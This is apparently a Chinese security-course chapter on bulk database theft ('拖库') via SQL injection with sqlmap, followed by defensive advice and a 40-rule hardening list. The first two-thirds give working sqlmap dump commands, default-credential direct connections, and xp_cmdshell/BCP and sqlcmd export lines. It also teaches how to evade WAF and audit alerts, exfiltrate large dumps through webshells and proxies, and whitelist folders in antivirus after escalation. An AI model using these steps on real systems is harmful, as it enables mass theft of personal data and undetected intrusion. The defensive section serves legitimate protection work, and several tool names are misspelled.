4.8 sqlmap数据库拖库攻击与防范
4.8.1 sqlmap数据库拖库攻击简介
1.拖库简介
原因是由于早年间多家媒体报道多家互联网网站数据库被公开下载,后制作社工库,用来查询公开的个人信息所致
- 拖库步骤
(1) 发现的各种Web安全漏洞并利用漏洞
(2) 获取webshell及服务器权限
(3) 备份及下载数据库
(4) 特殊情况通过注入点下载
- 拖库的危害
(1) 账户涉及游戏等各种财产直接套现用途,变卖游戏账户装备,转账变现
(2) 对账户进行身份和地域信息分类,将这些信息卖给需要的公司,公司通过精准的销售,营销手段获利,例如:卖楼,炒股,贷款。所以大家接到各种骚扰电话其原因之一就是因为注册的互联网网站被拖库所致
(3) 社工攻击利用的方式,对一些特定的目标进行诈骗,收集各种信息,精准定位,进行实施诈骗
(4) 其他技术利用,将收集到的身份证和图片信息进行AI自动识别训练,然后将用户数据导入网站,造成用户量很多,从而骗取风险投资
4.8.2 sqlmap直连数据库
- 需要安装相对应的模块
(1) 数据库对应的模块名称
DB2: python ibm-ab
Firebird: python-kinterbasdb
Microsoft Access: python-pyodbc
Microsoft SQL Server: python-pymssql
MySQL: python pymysql
Oracle: python cx_Oracle
PostgreSQL: python-psycopg2
SQLite: python-pysqlite2
Syase: python-pymssal
(2) 使用pip instal模块名称进行安装
pip install ibm-db pymssql
plp install kinterbasdb
pip install pyodbc
pip install pymssql
pip install pymysql
pip install cx_Oracle
pip install psycopg2
上面给出的模块只是参考,需要大家自己去测试验证,我前几届课程测试MySQL和MSSQL安装的模块就是不仅仅这些,使用sqlmap的时候根据提示的错误慢慢一步一步排查问题,错误提示看不懂就直接复制到百度,没找到答案就到谷歌上搜索一把 一般都能找到问题所在。
- sqlmap直连MySQL
sqlmap.py -d "mysql://root:root@127.0.0.1:3306/mysql"
- sqlmap直连MSSQL
sqlmap.py -d "mssql://sa:sa@127.0.0.1:1433/master"
- sqlmap直连Oracle
sqlmap.py -d "oracle://sysdba:123456@127.0.0.1:1542/bmfxdb"
4.8.3 sqlmap获取数据库方法及思路
- sqlmap获取数据库流程
(1) 获取当前数据库及其他数据库
(2) 获取数据库所有表
(3) 获取数据库所有记录数
(4) 获取重要的数据记录
(5) 获取所有记录
- 获取数据库记录相关操作命令
(1) sqlmap.py -u "http://www.xxx.com/index.php?id=88" --dbs
(2) sqlmap.py -u "http://www.xxx.com/index.php?id=88" -D bmfx --tables
(3) sqlmap.py -u "http://www.xxx.com/index.php?id=88" -D bmfx --count
(4) sqlmap.py -u "http://www.xxx.com/index.php?id=88" -D bmfx -T admin --dump
(5) sqlmap.py -u "http://www.xxx.com/index.php?id=88" -D bmfx --dump-all
Tips:
(1) 直连数据库后门跟的命令是相同的:
sqlmap.py -d "mysql://root:root@127.0.0.1:3306/mysql" -D bmfx --dbs
(2) SQL注入的过程如果能使用联合查询是最好的,因为其效率是最高,最快,如果是时间型盲注速度就会很慢
- 获取重要的表数据
当确认目标存在SQL注入的时候,获取重要数据的时候需要注意一下几点
(1) 哪些数据是重要的
(2) 各种WAF是有实施告警的,包括各种数据库审计设备
(3) 目标站点月庞大,规模越大,你越要想清楚对方的安全性可能不是那么差
(4) 要快速,很快的时间获取重要数据
上述是供技术学习研究使用,请勿用于非法用途,否则造成一切后果自负
- 对小量的数据库的获取思路
sqlmap.py -u "http://www.xxx.com/index.php?id=88" -D bmfx --dump-all
- 百万基本以上数据特点
(1) 此别以上的数据库,其库会很大
(2) 通过注入点获取数据时间会很长,不建议
(3) 部分有对外流量监控,例如:态势感知类的平台感知这类流量
(4) 各种电话,短信,邮件,微信告警
- 百万级别以上数据获取方法
(1) 可以写文件到网站目录,将数据库备份到网站的根目录
(2) webshell权限,通过adminer.php文件进行导出数据,使用压缩传输
(3) webshell提权到服务器权限,登陆直接备份,打包下载
(4) 注入点无法提权,通过注入点获取数据,例如:sqlmap --dump-all
- sqlmap内网或扯开目标网站数据获取方法
(1) 在目标网络或计算机上进行内网数据库账户及口令收集
(2) 数据库账户及口令进行暴力破解和验证
(3) 目标本地网络或计算机安装sqlmap
(4) 使用连接数据库进行备份
4.8.3 MSSQL数据获取的那些坑
1.MSSQL站库分离
(1) 站库分离服务器密码相同,直接登陆服务器打包下载
(2) 站库分离服务器密码不同,无法渗透,搞不了,无法下载
解决办法:使用代理穿透工具,或者使用Navicat for MySQL/SQL Server/Oracle
- 批处理查询导出数据库服务器所在目录
(1) 查询所有表
查询当前数据库下有多少表
select name from bmfx.dbo.sysobjects where xtype='U'
(2) 制作批处理文件
sqlcmd -U sa -P sa -d bmfx -S 192.168.91.131 -Q "select * from users " > D:\temp\users.txt
sqlcmd -U sa -P sa -d bmfx -S 192.168.91.131 -Q "select * from sys_config " -s "," -o D:\temp\sys_config.txt
-s "," -o 输出结果以逗号分隔
(3) 通过查询分析器连接服务器进行导出
exec master..xp_cmdshell 'BCP' "select * from bmfx.dbo.sys_config" queryout D:\temp\bmfx.txt -c -T -U sa -P sa
以上数据导出来之后就放在SQL Server数据库服务器上查询
(4) 将导出的txt文件打包下载
通过复制rar.exe到打包目录下面,或者在WinRAR的安装目录下面执行 rar a -r D:\temp\bmfx.rar D:\temp\
4.8.5 数据导出经验
(1) 使用速度快的服务器进行数据导出
(2) 使用临近服务器进行数据导出。
(3) 使用地理位置相近服务器进行导出
(4) 使用导出数据库服务器所在内网闲置服务器导出。
(5) 数据库打包压缩传输
(6) 使用代理进行直接传输数据。
(7) 如果提权并登录服务器后,将磁盘某个文件夹或整个文件夹加入杀毒软件的白名单
(8) 获取漏洞后要及时获取数据库及打包下载。
4.8.6
- 拖库个人方法策略及技术
(1) 分级管理密码,涉及个人隐私和财产等重要账号应做到独立账号,一账号一密码,浏览访问普通网站,无关紧要的互联网网站及应用设置为普通密码,做到普通密码与重要密码联。
(2) 设置强健的个人密码。强健的个人密码至少14位以上,字母大小写+数字特殊符号
(3) 定期修改个人密码,可有效避免网站数据库泄露影响自身账号。
(4) 工作邮箱不宜用于注册网络账号,以免密码泄露后危及企业信息安全。
(5) 不让计算机自动“保存密码”,不随意在第三方网站输入账号和密码;即便是个人计算机,也要定期在所有已登录站点手动强制注销进行安全退出
(6) 安装各种杀毒软件及防火墙,懒觉普通的攻击,不看来历不明的邮件,不运行来历不明的程序,确实要查看的,在VMware虚拟机里面看
- 公司网站拖库安全防范技术
拖库可以通过数据库安全防护技术解决,数据库安全技术主要包括数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。
(1) 数据库权限最低授权。
(2) 服务器安装杀毒软件+防火墙+安全狗等安全防范软件。
(3) 使用阿里云等云服务器,有入侵检测,任何异常登录都会报警。
(4) 数据库授权IP地址访问,不对外提供端口和连接。
(5) 对代码进行审计,减少或降低SQL注入漏洞。
(6) 对用户账号和密码等敏感信息进行加密或变异加密处理,增加破解的难度和成本
(7) 数据库管理员对数据库日志进行分析,如 MSSQL2008数据库目志文件就包含数据库备份等操作,通过查看日志文件,分析异常事件。
- 网上公开的有关防止拖库和撞库防范40条策略
第1条 禁止数据库在互联网“裸奔”,防范远程暴力猜解、非授权访问及远程登录。
第2条 禁止管理员账号启动数据库,建立数据库自己的低权限账号运行
第3条 及时安装、升级数据库补丁,做好版本管理、备份灾备管理,定期销毁备份的数据
第4条 修改默认数据库安全配置,特别是账号口令和默认路径页面等。
第5条 设置数据库内账户权限、实例权限和表权限等,保证权限最小化
第6条 除无用的数据库实例文件、说明文件、安装文件和注释文件等。
第7条 敏感值(密码)的存储务必加密,并保障其足够强壮
第8条 建立数据库读、写、查询的监控黑名单和白名单,并实时监
第9条 在数据库中构造陷阱库、陷阱表、陷阱字段、陷阱值,控告警监控
第10条 注册真实的账号用于监控、标记或跟踪
第11条 严格控割真实数据的测试应用,务必进行脱敏或模糊处理
第12条 数据库管理员与系统管理员权限分离、职责分离
第13条 设置系统内的文件保护,防止非法复制,或者使用专用工具防止复制
第14条 及时安装、升级操作系统补丁,做好账号管理,避免弱口令。
第15条 制定系统内部的口令更改策略,并定期执行
第16条 设置操作系统和数据库的P访问控制策略,避免非法访问
第17条 检测木马、后门、 webster连接尝试,诱导并阻断。
第18条 启用数据库、操作系统日志审计,设置粒度为全部部分记录
第19条 将日志审计中的敏感信息使用**屏蔽、替换或隐藏
第20条 将登录认证日志单独设置日志接收平台,便于细粒度的专项分析。
第21条 启用密码复杂度的检测,加强用户的密码强度和长度
第22条 对已泄露的账号,冻结账号并提醒用户更改。
第23条 制定策略,使用友好的方式提醒用户定期更改密码并强制执行。
第24条 制定灵活的验证码策略,平衡用户体验与复杂度。
第25条 记录并监控每个账号的登录P地址,并与其他信息关联分析。
第26条 记录并监控每个账号的登录时间习惯,并与其他信息关联分析。
第27条 记录每个账号的物理登录地点坐标
第28条 关联分析同一个账号的登录渠道习惯和特征,综合终端、平板和手机等渠道。
第29条 记录并联动分析多个登录请求之间的特征关联
第30条 检测登录 Cookies、会话的异常
第31条 识别同一IP的多次登录请求、短时间的频繁登录请求及多账号的一次登录请求
第32条 识别登录终端、服务器端推送的唯一参数标识,作为身份认证的一部分
第33条 建立动态P信誉库(白名单)和恶意IP库(黑名单),查询、记录、监控并阻断访问者P请求。
第34条 使用公共的P信誉库、恶意P库,识别已记录的恶意攻击
第35条 识别不符合规范的登录请求、不完整的登录请求和无交互的登录请求。
第36条 监控登录认证的横向暴力尝试,同一密码、不同账号的情况。
第37条 收集并将常用的自动化攻击工具指纹特征转化为监控、阻断规则
第38条 根据不同场景设置分级、分步、自动化的监控、阻断规则
第39条 设置各种蜜罐,设计参数陷阱、页面陷阱、伪造请求、伪造功能。
第40条 记录并检测登录交互前后的指纹变化,如鼠标窗口的变化、单击变化等。
以上内容主要是针对拖库攻击的安全防范,其他攻击的安全防范也可以借鉴